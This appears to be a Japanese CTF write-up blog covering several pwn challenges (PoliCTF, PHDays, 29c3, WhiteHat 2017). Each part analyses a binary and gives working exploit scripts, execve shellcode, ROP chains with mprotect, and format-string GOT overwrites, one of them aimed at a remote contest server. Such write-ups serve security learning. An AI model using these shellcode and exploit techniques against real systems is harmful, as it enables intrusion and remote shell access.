 126:   c6 45 ba 00             mov    BYTE PTR [ebp-0x46],0x0
 12a:   c6 45 bb 05             mov    BYTE PTR [ebp-0x45],0x5
 12e:   c7 45 fc 16 00 00 00    mov    DWORD PTR [ebp-0x4],0x16
 135:   c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
 13c:   c7 45 f0 00 00 00 00    mov    DWORD PTR [ebp-0x10],0x0
 143:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 146:   83 f8 16                cmp    eax,0x16
 149:   73 70                   jae    1bb
 14b:   8d 55 da                lea    edx,[ebp-0x26]
 14e:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 151:   01 d0                   add    eax,edx
 153:   0f b6 00                movzx  eax,BYTE PTR [eax]
 156:   0f b6 c0                movzx  eax,al
 159:   89 45 f8                mov    DWORD PTR [ebp-0x8],eax
 15c:   8d 55 a6                lea    edx,[ebp-0x5a]
 15f:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 162:   01 d0                   add    eax,edx
 164:   0f b6 00                movzx  eax,BYTE PTR [eax]
 167:   0f b6 c0                movzx  eax,al
 16a:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 16d:   83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
 171:   7e 0a                   jle    17d
 173:   83 45 f8 01             add    DWORD PTR [ebp-0x8],0x1
 177:   83 6d f4 01             sub    DWORD PTR [ebp-0xc],0x1
 17b:   eb f0                   jmp    16d
 17d:   8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
 180:   83 e8 01                sub    eax,0x1
 183:   0f b6 44 05 bc          movzx  eax,BYTE PTR [ebp+eax*1-0x44]
 188:   0f b6 c0                movzx  eax,al
 18b:   29 45 f8                sub    DWORD PTR [ebp-0x8],eax
 18e:   8b 45 fc                mov    eax,DWORD PTR [ebp-0x4]
 191:   83 e8 01                sub    eax,0x1
 194:   0f b6 44 05 bc          movzx  eax,BYTE PTR [ebp+eax*1-0x44]
 199:   0f b6 c0                movzx  eax,al
 19c:   31 45 f8                xor    DWORD PTR [ebp-0x8],eax
 19f:   d1 7d f8                sar    DWORD PTR [ebp-0x8],1
 1a2:   8b 45 f8                mov    eax,DWORD PTR [ebp-0x8]
 1a5:   89 c1                   mov    ecx,eax
 1a7:   8d 55 da                lea    edx,[ebp-0x26]
 1aa:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 1ad:   01 d0                   add    eax,edx
 1af:   88 08                   mov    BYTE PTR [eax],cl
 1b1:   83 6d fc 01             sub    DWORD PTR [ebp-0x4],0x1
 1b5:   83 45 f0 01             add    DWORD PTR [ebp-0x10],0x1
 1b9:   eb 88                   jmp    143
 1bb:   90                      nop
 1bc:   c9                      leave
 1bd:   c3                      ret

これをデバッガで実行し、retの直前で止めるとフラグが得られる。

 [----------------------------------registers-----------------------------------]
EAX: 0x16
EBX: 0x0
ECX: 0x7d ('}')
EDX: 0xffffdae2 ("TMCTF{static_analyzer}\026")
ESI: 0xf7fc3000 --> 0x1afdb0
EDI: 0xf7fc3000 --> 0x1afdb0
EBP: 0x0
ESP: 0xffffdb0c --> 0xf7e2b637 (<__libc_start_main+247>:        add    esp,0x10)
EIP: 0x804859d (<end+2>:        ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048599 <next+60>: jmp    0x8048523 <loop>
   0x804859b <end>:     nop
   0x804859c <end+1>:   leave
=> 0x804859d <end+2>:   ret
   0x804859e <end+3>:   xchg   ax,ax
   0x80485a0 <__libc_csu_init>: push   ebp
   0x80485a1 <__libc_csu_init+1>:       push   edi
   0x80485a2 <__libc_csu_init+2>:       push   esi
[------------------------------------stack-------------------------------------]
0000| 0xffffdb0c --> 0xf7e2b637 (<__libc_start_main+247>:       add    esp,0x10)
0004| 0xffffdb10 --> 0x1
0008| 0xffffdb14 --> 0xffffdba4 --> 0xffffdcc7 ("/program/ctf/tmctf/2017/Forensic200/test")
0012| 0xffffdb18 --> 0xffffdbac --> 0xffffdcf0 ("LOGNAME=ubuntu")
0016| 0xffffdb1c --> 0x0
0020| 0xffffdb20 --> 0x0
0024| 0xffffdb24 --> 0x0
0028| 0xffffdb28 --> 0xf7fc3000 --> 0x1afdb0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0804859d in end ()
gdb-peda$

flag: TMCTF{static_analyzer}

pwn challenges list easy writeup その1

pwn challenges list easyのWriteup
babyのWriteupをさぼってしまったのでeasyでは少しずつ書いていこうと思います。
使っているライブラリは pwn library · GitHub にあるので参考までに

Writeup

[PoliCTF 2012] Bin-Pwn 300

ELF 32-bit、動的リンク、NX有効。

% file chal
chal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, not stripped
% checksec -f chal
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               8       chal

実行するとポート32000で待つのでncで接続してみる。(ポート番号はstraceでわかる)

% nc localhost 32000
AAAAAA
BBBBBBBBB

%

よくわからないのでgdbで追ってみる。
nc localhost 32000で接続してから

% ps a
  PID TTY      STAT   TIME COMMAND
 1210 tty1     Ss+    0:00 /sbin/agetty --noclear tty1 linux
 1216 ttyS0    Ss+    0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
15977 pts/6    Ss+    0:00 -zsh
18385 pts/4    Ss     0:00 -zsh
19061 pts/0    Ss     0:00 -zsh
19064 pts/0    S+     0:00 tmux attach
19142 pts/4    S+     0:00 ./chal
19146 pts/1    Ss     0:00 -zsh
19150 pts/2    S+     0:00 nc localhost 32000
19151 pts/4    S+     0:00 ./chal
19152 pts/1    R+     0:00 ps a
28207 pts/5    Ss+    0:04 -zsh
28721 pts/2    Ss     0:02 -zsh
% sudo gdb -q -p 19151
gdb-peda$ finish
gdb-peda$ finish
Run till exit from #0  0xf75ff41e in recv () from /lib32/libc.so.6
 [----------------------------------registers----------------------------------
EAX: 0x10
EBX: 0x0
ECX: 0x0
EDX: 0x0
ESI: 0xf76c9000 --> 0x1afdb0
EDI: 0xf76c9000 --> 0x1afdb0
EBP: 0xfffa8db8 --> 0xfffa8e18 --> 0x0
ESP: 0xfffa8b80 --> 0x4
EIP: 0x8049326 (<serve+152>:    mov    BYTE PTR [ebp-0x20d],0x0)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------
   0x804931b <serve+141>:       mov    eax,DWORD PTR [ebp+0x8]
   0x804931e <serve+144>:       mov    DWORD PTR [esp],eax
   0x8049321 <serve+147>:       call   0x8048870 <recv@plt>
=> 0x8049326 <serve+152>:       mov    BYTE PTR [ebp-0x20d],0x0
   0x804932d <serve+159>:       mov    DWORD PTR [ebp-0xc],0x0
   0x8049334 <serve+166>:       jmp    0x804935c <serve+206>
   0x8049336 <serve+168>:       lea    edx,[ebp-0x21c]
   0x804933c <serve+174>:       mov    eax,DWORD PTR [ebp-0xc]
[------------------------------------stack-------------------------------------
0000| 0xfffa8b80 --> 0x4
0004| 0xfffa8b84 --> 0xfffa8b9c ("\najoijiew\nalfjie")
0008| 0xfffa8b88 --> 0x10
0012| 0xfffa8b8c --> 0x100
0016| 0xfffa8b90 --> 0xf770253c --> 0xf76de000 --> 0x464c457f
0020| 0xfffa8b94 --> 0x0
0024| 0xfffa8b98 --> 0xf76ed1da (add    esp,0x10)
0028| 0xfffa8b9c ("\najoijiew\nalfjie")
[------------------------------------------------------------------------------
Legend: code, data, rodata, value
0x08049326 in serve ()

スタックを見てみるとrecv(4,0xfffa8b9c,0x10,0x100)が呼び出されていたことがわかる。flagにMSG_WAITALLが設定されているので0x10文字ちょうど送信する必要がある。

gdb-peda$ man recv
...
MSG_WAITALL (since Linux 2.2)
       This  flag requests that the operation block until the full request is satisfied.
       However, the call may still return less  data  than  requested  if  a  signal  is
       caught,  an  error  or disconnect occurs, or the next data to be received is of a
       different type than that returned.
...

その後入力した文字列を\nを区切り文字としてwhiteblackbintendo6446odnetnibhexhaxと比較してそれぞれのコマンドを実行している。
それぞれのコマンドを見ていくとblackでバッファオーバーフローを起こせることがわかった(全部読むのが大変だった…)。
blackでは0x200文字(これも0x200文字ちょうど送信する必要がある)を入力する。1文字ずつ見ていき、0x09(‘\t’)だったら1をセット0x20(‘ ’)だったら0をセットして、1bit左シフト、を繰り返し、バッファに保存していく。この保存先が親のスタックフレームのebpに近いため、戻り番地を書き換えることができる。
mprotectが使えるのでbssを実行可能にしてそこにシェルコードを書き込み、好きな関数のGOTをシェルコードの先頭に書き換えれば、シェルコードを実行できる。
シェルコードの作り方は

global main
main:
    xor eax, eax
    push eax
    mov ecx, esp
    mov edx, esp
    mov al, 0xb
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    int 0x80

上のコードをアセンブルして、objdumpの出力のコードの部分だけ抽出する(他のやり方があったら教えてほしい)。

% nasm -felf32 shell32.asm
% for x in $(objdump -d shell32.o | grep -A100 0: | cut -f2); do echo -n "\\\x$x"; done; echo
\x31\xc0\x50\x89\xe1\x89\xe2\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
#!/usr/bin/env python
from ppapwn import *

def b2ts(b):
    ret = ""
    for i in range(8)[::-1]:
        if 1<<i&ord(b):
            ret += "\t"
        else:
            ret += " "
    return ret

if __name__ == '__main__':
    s = Remote("localhost",32000)

    mprotect_plt = 0x8048710
    mprotect_got = 0x804b014
    recv_plt = 0x8048870
    pop3ret = 0x80496a1
    pop4ret = 0x80496a0
    bss_addr = 0x804b000

    shellcode = get_shellcode("lin32")

    payload = ""
    payload += "A" * 0x10
    payload += p32(mprotect_plt)
    payload += p32(pop3ret)
    payload += p32(bss_addr) + p32(0x1000) + p32(7)
    payload += p32(recv_plt)
    payload += p32(pop4ret)
    payload += p32(4) + p32(bss_addr+200) + p32(len(shellcode)) + p32(0)
    payload += p32(recv_plt)
    payload += p32(mprotect_plt)
    payload += p32(4) + p32(mprotect_got) + p32(0x4) + p32(0)
    payload += "A" * (0x80 - len(payload))

    payload = "".join(map(b2ts,payload))
    s.send("black\n" + "A"*10 + payload * 5)
    s.send(shellcode)
    s.send(p32(bss_addr+200))
    s.interact()
% ./exploit.py
[*] Switching to interactive mode

$ ls
asm.txt
chal
cmd
exploit.py
$ exit

*** Connection closed ***

[PHDays CTF 2012] #07 PWN200

ELF 32-bit、動的リンク、SSPとNX有効。

% file heaptaskforbin
heaptaskforbin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.15, BuildID[sha1]=60830f78c4331bce955103f8cf77e1e5c47e361d, stripped
% checksec -f heaptaskforbin
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               4       heaptaskforbin

メッセージを扱うプログラムで5つの機能がある。

  1. メッセージの作成
  2. メッセージの表示
  3. メッセージの末尾に新たな文字列を追加
  4. メッセージの書き直し
  5. メッセージの削除

メッセージを作成すると対応するIDが返ってきて、2-5の機能ではそのIDを指定する。

% ./heaptaskforbin 14455
% nc localhost 14455
Welcome
1 - save message
2 - show message
3 - append message
4 - rewrite message
5 - delete message
1
Input your message
hoge
Message saved. Message ID = 1

それぞれの機能がどのように実装されているかを簡単に説明する。

  1. メッセージの作成
    0x400文字まで保存可能。mallocで0x100だけ確保し、そこにメッセージを書き込むが改行はnull文字に置き換えられる。メッセージの長さが0x100以上なら0x100ごとにreallocで確保する。文字列へのポインタとその長さとIDをテーブルに保存する。

  2. メッセージの表示
    入力したIDに対応するテーブルを探し、文字列が存在すれば出力する。

  3. メッセージの末尾に新たな文字列を追加
    条件は詳しく見ていないがほとんどの場合で、元のメッセージの末尾にmemcpyで文字列を追加。(mallocで確保していない領域まで書き込む)

  4. メッセージの書き換え
    (読んでいない)

  5. メッセージの削除
    確保していた領域をfreeしてテーブルに保存されているポインタにNULLを入れる。

実行ファイルに"flag"という文字列があったのでどこで使われているか見てみたらopenしてheapに書き込んでいた。

% gdb -q heaptaskforbin
gdb-peda$ start
gdb-peda$ find flag
Searching for 'flag' in: None ranges
Found 30 results, display max 30 items:
     heaptaskforbin : 0x804a73c ("flag")
     heaptaskforbin : 0x804b73c ("flag")
               libc : 0xf7c39746 ("flags")
               libc : 0xf7c3c0c8 ("flags")
               libc : 0xf7c3c528 ("flags")
               libc : 0xf7d81720 ("flags")
...
gdb-peda$ q
% objdump -d -M intel heaptaskforbin
...
 8048d37:       c7 04 24 00 01 00 00    mov    DWORD PTR [esp],0x100
 8048d3e:       e8 7d fc ff ff          call   80489c0 <malloc@plt>
 8048d43:       89 85 78 ff ff ff       mov    DWORD PTR [ebp-0x88],eax
 8048d49:       c7 44 24 04 00 00 00    mov    DWORD PTR [esp+0x4],0x0
 8048d50:       00
 8048d51:       c7 04 24 3c a7 04 08    mov    DWORD PTR [esp],0x804a73c <- "flag"
 8048d58:       e8 13 fb ff ff          call   8048870 <open@plt>
 8048d5d:       89 45 80                mov    DWORD PTR [ebp-0x80],eax
 8048d60:       c7 44 24 08 30 00 00    mov    DWORD PTR [esp+0x8],0x30
 8048d67:       00
 8048d68:       8b 85 78 ff ff ff       mov    eax,DWORD PTR [ebp-0x88]
 8048d6e:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048d72:       8b 45 80                mov    eax,DWORD PTR [ebp-0x80]
 8048d75:       89 04 24                mov    DWORD PTR [esp],eax
 8048d78:       e8 a3 fb ff ff          call   8048920 <read@plt>
 8048d7d:       8b 45 94                mov    eax,DWORD PTR [ebp-0x6c]
 8048d80:       8d 50 ff                lea    edx,[eax-0x1]
...

機能1や機能3で、改行を送らなければnull文字を入れられることはないため、メッセージを作成してフラグにぶつかるまで文字列を追加していくと割と高い確率でフラグが得られる(strlenで文字の長さを判断しているため、連続していればメッセージの一部として扱われる)。

#!/usr/bin/env python
from ppapwn import *

def save(m):
    s.sendline("1")
    s.send(m)
    s.recvuntil("Message ID = ")
    return s.recvline()

def show(_id):
    s.sendline("2")
    s.sendline(_id)
    s.recvuntil("Your message:\n")
    return s.recvuntil("Welcome")[:-10]

def append(_id,m):
    s.sendline("3")
    s.sendline(_id)
    s.recvuntil("in message\n")
    s.send(m)
    s.recvuntil("Success\n")

if __name__ == '__main__':
    s = Remote("localhost",14455)

    for i in range(0x30):
        _id = save("A"*0xff)
        for l in range(0x100,0x400,2):
            append(_id,"A"*2)
            res = show(_id)
            if len(res) > l + 5:
                if "flag" in res:
                    print res
                    exit(0)
                break
    s.close()
% ./exploit.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  AAthis is flag.

[29c3 CTF 2012] Exploitation - update_server

ELF 32-bit、動的リンク、SSP有効。

% file update_server
update_server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ce576f2b205fb378801a1c5592d81e7cd31e1e85, stripped
% checksec -f update_server
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   Yes     03update_server

versionとlinkを適当に作って、パスワードを指定して起動すると1024番ポートで待ち受ける。

% echo -n "v3.0\x00" > version
% echo -n "hoge" > link
% ./update_server pass
% nc localhost 1024
Version?
v3.0
State:
up to date
Version:
3.0

動作は3パターンあり、古いバージョンを指定すると"update available"と色々な情報(メモリダンプ)を返し、同じバージョンを指定すると上のように"up to date"と入力したバージョンを返し、新しいバージョンを指定するとパスワードを聞かれ、正しいパスワードを入力すればバージョンが更新され、メモリダンプを返すと同時に0x400文字の入力が許されバッファオーバーフローを起こせる。

攻撃の流れとしては、

  1. バージョンを特定する(これは適当に入力すればわかる)
  2. パスワードを特定する
  3. canaryをleakする
  4. シェルコードを送る

パスワードはesp+0x53cにあり、バージョンの入力をesp+0x4bcから上限0x80文字で行うため、パスワードの直前まで文字を埋められる。上で言った「同じバージョンを指定すると入力したバージョンを返す」はstrlenで入力の文字列の長さを判断するため、0x80文字いっぱい埋めればパスワードも文字列の一部として認識され、パスワードも出力される。

% python -c 'print "v3.0" + "A" * 0x7c' | nc localhost 1024
Version?
State:
up to date
Version:
3.0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAApass

canaryは出力されるメモリダンプの中に含まれているのでgdbなどを使ってどれがcanaryかを特定する。また、シェルコードに処理を移すときに必要なスタックのアドレスもメモリダンプの中に含まれている。
fork-server型なので、シェルコードではdupで入出力をソケットにつなぐようにしている。

global main
main:
    ; dup2(4,0)
    xor eax, eax
    mov al, 0x3f
    xor ebx, ebx
    mov bl, 0x4
    xor ecx, ecx
    int 0x80

    ; dup2(4,1)
    mov al, 0x3f
    inc ecx
    int 0x80

    ; dup2(4,2)
    mov al, 0x3f
    inc ecx
    int 0x80

    ; execve("/bin//sh",NULL,NULL)
    xor eax, eax
    push eax
    mov ecx, esp
    mov edx, esp
    mov al, 0xb
    push 0x978cd0d0
    not DWORD [esp]
    push 0x91969dd0
    not DWORD [esp]
    mov ebx, esp
    int 0x80
#!/usr/bin/env python
from ppapwn import *

if __name__ == '__main__':
    s = Remote("localhost",1024)
    s.send("\x00\x00")
    s.recvuntil("Version:\n")
    version = s.recvline()
    print "[*] version:", version
    s.close()

    s = Remote("localhost",1024)
    s.send("v" + version + "B" * (0x6f-len(version)) + "A"*0x10)
    s.recvuntil("A"*0x10)
    password = s.recvline()
    print "[*] password:", password
    s.close()

    s = Remote("localhost",1024)
    s.send("A"*0x80)
    s.send(password)
    s.recvuntil(password + "\n")
    for i in range(44):
        s.recvline()
    canary = u32(s.recvline()[:-1]) << 8
    print "[*] canary:", hex(canary)
    for i in range(13):
        s.recvline()
    buf_addr = u32(s.recvline()[3:7])
    print "[*] buffer address:", hex(buf_addr)
    s.recvuntil("Link?\n")

    payload = ""
    payload += "A" * 0x100
    payload += p32(canary)
    payload += "A" * 0x1c
    payload += p32(buf_addr - 0x18)
    payload += get_shellcode("dup32")
    s.send(payload)
    s.interact()
% ./exploit.py
[*] version: 3.0
[*] password: pass
[*] canary: 0x27e4c100
[*] buffer address: 0xff953818
[*] Switching to interactive mode

$ ls
asm.txt
exploit.py
link
update_server
version
$ exit

*** Connection closed ***

感想

babyと比べて攻撃手法は難しくないけど、バイナリを読むのが大変。
デバッグ力がついてきた気がする。

WhiteHat Summer Contest 2017 Writeup

shpxで参加してました。 結果はpwnを2問解いて76位。

Writeup

Da Lat city (Pwnable 100)

ELF 32-bit、動的リンク、canaryとNX有効。

% file cheatme
cheatme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bacaba723fdbcbf8b2d685afb00795a2e6bedf78, stripped
% gdb -q cheatme
Reading symbols from cheatme...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

初めにuser名が聞かれる。これはuser.txtから取ってきた文字列と比較しているだけなので(ローカルでは)簡単に抜けられる。

% echo "hoge" > user.txt
% ./cheatme
foo              _   _                _   _           _           _
             /\        | | | |              | | (_)         | |         | |
            /  \  _   _| |_| |__   ___ _ __ | |_ _  ___ __ _| |_ ___  __| |
           / /\ \| | | | __| '_ \ / _ | '_ \| __| |/ __/ _` | __/ _ \/ _` |
          / ____ | |_| | |_| | | |  __| | | | |_| | (_| (_| | ||  __| (_| |
         /_/    \_\__,_|\__|_| |_|\___|_| |_|\__|_|\___\__,_|\__\___|\__,_|

|       Enter user     :  hoge
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       Enter Password :

パスワードはgdbで見ていくとContestChallenge-で始まり5文字からなる数値で終わる文字列であるとわかる。最終的には入力のハッシュのようなものを計算して0~15のどれかの数値にしてから8と比較している。なので数値を適当に試せば16分の1の確率でパスワードも突破できる(ここはリモートでも同じ)。パスワードが認証されると./get_flag.pyが実行される。
問題はサーバ上のuser.txtが見れないためuser名がわからないところだが、ファイルの読み込みはすべて相対パスで行われているので自分でuser.txtなどを作っても正常に動かすことができる。

cheatme@pwnssh14-01-contest13:~$ mkdir -p /tmp/hoge/problem/login
cheatme@pwnssh14-01-contest13:~$ cd /tmp/hoge/problem/login/
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ echo "hoge" > user.txt
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ ln -s /home/cheatme/problem/login/get_flag.py get_flag.py
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ /home/cheatme/problem/login/cheatme
|       Enter user     :  hoge
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       Enter Password :  ContestChallenge-12296
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       You can read file flag.txt???
|       Loading File: ...                Goodluck!!!. Don't give up!

                                  oooo$$$$$$$$$$$$oooo
                              oo$$$$$$$$$$$$$$$$$$$$$$$$o
                           oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o          o$   $$ o$
           o $ oo        o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o        $$ $$ $$o$
        oo $ $ "$      o$$$$$$$$$    $$$$$$$$$$$$$    $$$$$$$$$o        $$$o$$o$
        "$$$$$$o$     o$$$$$$$$$      $$$$$$$$$$$      $$$$$$$$$$o     $$$$$$$$
          $$$$$$$    $$$$$$$$$$$      $$$$$$$$$$$      $$$$$$$$$$$$$  $$$$$$$$$$
          $$$$$$$$$$$$$$$$$$$$$$$    $$$$$$$$$$$$$    $$$$$$$$$$$$$$  "'"$$$
           "$$$"'""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     "$$$
            $$$   o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     "$$$o
           o$$"   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$       $$$o
           $$$    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" "$$$$$$ooooo$$$$o
          o$$$oooo$$$$$  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$   o$$$$$$$$$$$$$$$$$
          $$$$$$$$"$$$$   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     $$$$""'""'""
         "'""       $$$$    "$$$$$$$$$$$$$$$$$$$$$$$$$$$$"      o$$$
                    "$$$o     "'"$$$$$$$$$$$$$$$$$$"$$"         $$$
                      $$$o          "$$""$$$$$$"'""           o$$$
                       $$$$o                                o$$$"
                        "$$$$o      o$$$$$$o"$$$$o        o$$$$
                          "$$$$$oo     ""$$$$o$$$$$o   o$$$$""
                             ""$$$$$oooo  "$$$o$$$$$$$$$"'"
                                ""$$$$$$$oo $$$$$$$$$$
                                        "'"$$$$$$$$$$$
                                            $$$$$$$$$$$$
                                             $$$$$$$$$$"
                                              "$$$"'""

   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

get_flag.pyにシンボリックリンクを貼って実行してみたら馬鹿にされてしまった。しかしget_flag.pyは自分で作ればいい。

#!/usr/bin/env python

if __name__ == '__main__':
    with open("/home/cheatme/problem/login/flag.txt","r") as f:
        print f.read()
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ chmod +x get_flag.py
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ /home/cheatme/problem/login/cheatme
|       Enter user     :  hoge
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       Enter Password :  ContestChallenge-12296
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       You can read file flag.txt???
|       Loading File: ...Life is trying things to see if they work.

   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

よってフラグは

% echo -n "Life is trying things to see if they work." | sha1sum
a07efd2a91b4ab10d7ce12a8b6c6902aa4e2246e  -
WhiteHat{a07efd2a91b4ab10d7ce12a8b6c6902aa4e2246e}

Mui Ne

ELF 32-bit、動的リンク、canaryとNX有効。

% file fomat_me
fomat_me: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bcdcd688ea5cc831304ff1a8b3f8d456c6669f04, not stripped
% gdb -q fomat_me
Reading symbols from fomat_me...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

入力した文字列を繰り返すプログラム。fsb脆弱性がある。

% ./fomat_me
echo aaa
aaa
% ./fomat_me
echo %p
(nil)

printfをした後に関数はstack_chk_failしかないが、わざとスタックバッファオーバーフローを起こして__stack_chk_failを呼ばせればいい。

% objdump -d -M intel fomat_me
...
 8048585:       e8 36 fe ff ff          call   80483c0 <printf@plt>
 804858a:       83 c4 10                add    esp,0x10
 804858d:       b8 00 00 00 00          mov    eax,0x0
 8048592:       8b 55 f4                mov    edx,DWORD PTR [ebp-0xc]
 8048595:       65 33 15 14 00 00 00    xor    edx,DWORD PTR gs:0x14
 804859c:       74 05                   je     80485a3 <main+0x88>
 804859e:       e8 3d fe ff ff          call   80483e0 <__stack_chk_fail@plt>
 80485a3:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 80485a6:       c9                      leave
 80485a7:       8d 61 fc                lea    esp,[ecx-0x4]
 80485aa:       c3                      ret
...

1回目のprintfでstack_chk_failをmainの先頭に戻すと同時にlibc_baseをleakして、2回目のprintfでprintfをsystemに書き換え、3回目のprintf(systemになっている)に"/bin/sh"を渡してシェルを起動させる。 下のコードではstack_chk_failを、1回目はmainの先頭、2回目はgetsの直前にしているが、こうしなくてはいけない原因はわからない。(初めからgetsの直前にもってくればよさそうだけどうまくいかなかった)
ローカルではシェルを動かすことができたが、サーバのlibcとバージョンが違ったため、その差を埋めるのがとても時間がかかった。libcのバージョンは、あらかじめprintfなどのアドレスをleakさせておいてから

github.com

を使うとわかる(助けていただいたチームメイトに圧倒的感謝!)。

#!/usr/bin/env python
from ppapwn import *
import sys

if __name__ == '__main__':
    stack_chk_got = 0x804a014
    printf_got = 0x804a00c
    gets_got = 0x804a010
    main = 0x804851b
    main2 = 0x804856c

    if len(sys.argv) == 1:
        s = Local(["./fomat_me"])
        printf_offset = 0x49020
        system_offset = 0x3a940
    else:
        s = Remote("formatme.wargame.whitehat.vn",1337)
        printf_offset = 0x49670
        system_offset = 0x3ada0

    payload = ""
    payload += p32(stack_chk_got)
    payload += p32(stack_chk_got+2)
    payload += p32(printf_got)
    payload += "%" + str(u32(p32(main)[0:2]) - 12) + "x"
    payload += "%7$hn"
    payload += "%" + str((u32(p32(main)[2:4]) - u32(p32(main)[0:2])) & 0xffff) + "x"
    payload += "%8$hn"
    payload += "leak:%9$s"
    payload += "A" * 0x50
    s.sendline(payload)
    s.recvuntil("leak:")
    libc_base = u32(s.recv(4)) - printf_offset
    print "[*] libc base is at", hex(libc_base)

    system_addr = libc_base + system_offset
    payload = ""
    payload += p32(printf_got)
    payload += p32(printf_got+2)
    payload += p32(stack_chk_got)
    payload += p32(stack_chk_got+2)
    payload += "%" + str(u32(p32(system_addr)[0:2]) - 16) + "x"
    payload += "%7$hn"
    payload += "%" + str((u32(p32(system_addr)[2:4]) - u32(p32(system_addr)[0:2])) & 0xffff) + "x"
    payload += "%8$hn"
    payload += "%" + str((u32(p32(main2)[0:2]) - u32(p32(system_addr)[2:4])) & 0xffff) + "x"
    payload += "%9$hn"
    payload += "%" + str((u32(p32(main2)[2:4]) - u32(p32(main2)[0:2])) & 0xffff) + "x"
    payload += "%10$hn"
    payload += "A" * 0x50
    payload += "hoge"
    s.sendline(payload)
    s.recvuntil("hoge")
    s.sendline("/bin/sh")
    s.interact()
% ./exploit.py remote
[*] libc base is at 0xf75c3000
[*] Switching to interactive mode

$ ls
